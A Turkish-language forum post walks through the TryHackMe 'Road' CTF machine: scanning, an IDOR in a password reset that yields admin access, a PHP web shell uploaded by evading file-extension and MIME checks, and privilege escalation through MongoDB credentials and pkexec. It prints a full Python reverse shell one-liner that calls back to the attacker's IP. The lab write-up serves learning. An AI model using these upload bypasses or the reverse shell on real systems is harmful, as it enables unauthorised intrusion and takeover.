TryHackMe CTF - Road

lyxG

Üye
15 Ocak 2019
241
26
Selam, bugün sizlerle birlikte tryhackme adlı platformdan road adındaki makineyi çözeceğiz. Öncelikli olarak gerekli bağlantıları yaptıktan sonra aldığımız ip adresi hakkında bilgi edinmek için nmap aracı ile basit bir tarama gerçekleştireceğim.

d4hd6sq.png


Ssh portunda şuan için enum. edebileceğimbir olay yok brute force atmak da istemiyorum bunun yerine web servisinden devam edeceğim. Açılışta birkaç birşeyler görüp gözümde canlansa'da işimi şansa bırakmak istemedim, bunun için ufak bir dirb taraması yapmaya karar verdim.

rogpla8.png


Arkada gördüğünüz gibi phpmyadmin açık, ne olur ne olmaz default olarak gelen "root" "null" gibi kombinasyonları denesem'de herhangi bir dönüt alamadım. Lakin /v2/ adında bir klasör keşfediyoruz, bu klasörü enum. ettiğimde user giriş ekranı olduğunu anlayıp hemen bir tane test user açtım.

tqa01da.png


Giriş için no-redirect, sql injection gibi açıklar denemeye çalışsam da sonuç vermedi, buradaki yetkimiz çok kısıtlı sadece user bilgimi değiştirebiliyorum. Lakin resetleme ekranında mail adresi kitlenmiş buradan yola çıkarak burp aracılığı ile IDOR & SQL testi yapmaya karar verdim. Öncelikle whatweb aracı ile ufak bir arama yaptığımda bir mail adresi çıkıyordu şöyle bırakalım.

5ht8uf8.png


Şimdi ise burp aracılığı ile ele geçirdiğim requeste bu mail bilgilerini verip de şifrelerini değiştirmeye çalışsam nasıl olur ? denemekten başka yolumuz yok eğer ki başarısız olursak yine mail ekranında sql sorguları döndürüp admini yakalamaya çalışacağız.

l6vxq96.png


Birkaç denemeden sonra kesinlikle İDOR açığının varlığından emin oldum ne yaparsam yapayım sql injection'u çıkartamadım, kaldı ki lfi & rce de çıkmadı. Şuan için sistemde admin yetkisindeyim neler yapabileceğimi düşünüyorum. Ve admin profil ayarlarında gezinirken ufak bir resim yükleme alanının olduğunu fark ettim.

fdzc1z8.png



Aklımda şuan için sadece shell sokmak geçiyor. Php düz yermi tabiki yemez, ama bu durumu .php3-7 .phtml gibi düzenler verirsem belki içeriye sokabiliriz veya mime-type'ı değiştireceğim ki server fark etmesin. İster realworld senaryosu olsun ister ctf olsun, public web shelleri kullanmayın shell yerse bile anında engeller. Bunun yerine basit sheller kullanmak daha mantıklı.

ecznb45.png



Yukarda okuduğunuz gibi dediğimi yapın ama yaptığımı yapmayın :D şimdi asıl olay kaydedilen tarafı bulmakta bu /assets/ /uploads/ klasörlerinde de olabilir. Lakin userın üstüne gelip resmi kopyala yaptığımızda sonuç ortaya çıkacaktır. Shellimizin yüklendiği ekran => "/v2/profileimages/" olmuştur. Solda gördüğünüz gibi basit bir cmd shell kullandım shell.php den sonra ?cmd=[makine kodlarını buraya gireceğiz]

ozd5i0m.png


Şimdi ise reverse bağlantı alabiliriz, eğer ki sistem içerisinde istediğiniz shell çalışmıyorsa php & python v.s bunun için revshells adlı websitesinden hazır olan shelleri içeri çekip denemeler yapabilirsiniz.

dy9l5b5.png


Resimde gördüğünüz gibi aktif olarak kullandığınız vpn bağlantısından yani "tun0" adresini yazacaksınız. Şuan için benim reverse shell payloadım ; "
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.8.142.239",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'"

6zppdub.png


Şimdi ise görüldüğü gibi netcat bağlantımız ortaya geldi. Kernelde herhangi bir açık göremediğimden ötürü biraz takılırken /home klasörü altında developer adlı bir kullanıcı görmem ile ilk flagimi buldum. Sanırım sistemde yetki yükseltirken bu kullanıcı epey işimize yarayacak.

h7p9a3b.png


Herhangi bir SUID & cron & lokal exploit bulamamışken LinPEAS yardımıma koştu, aslında sadece sql'in varlığını hatırlattı ve şifresiz şekilde mongo db ye girebildim, biraz oynadıktan sonra istediğim şey karşımdaydı.

1xj3zl4.png


Webdeveloper adlı kullanıcının şifresinide aldıktan sonra girişimi yapıyorum, ve en sonda yetki yükseltme aşaması için usrın içerisinde sudo -l attığım zaman pkexec veriyor. Bunun için echo ile $$ verip ardından pktty yardımı ile id değerini verikten sonra sonuç ;


d4eoyq7.png



Konumu Okuduğunuz için minnetarım, gelişmem için bana hatalarımı söyleyin, sağlıcakla kalın :) // LyxG
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.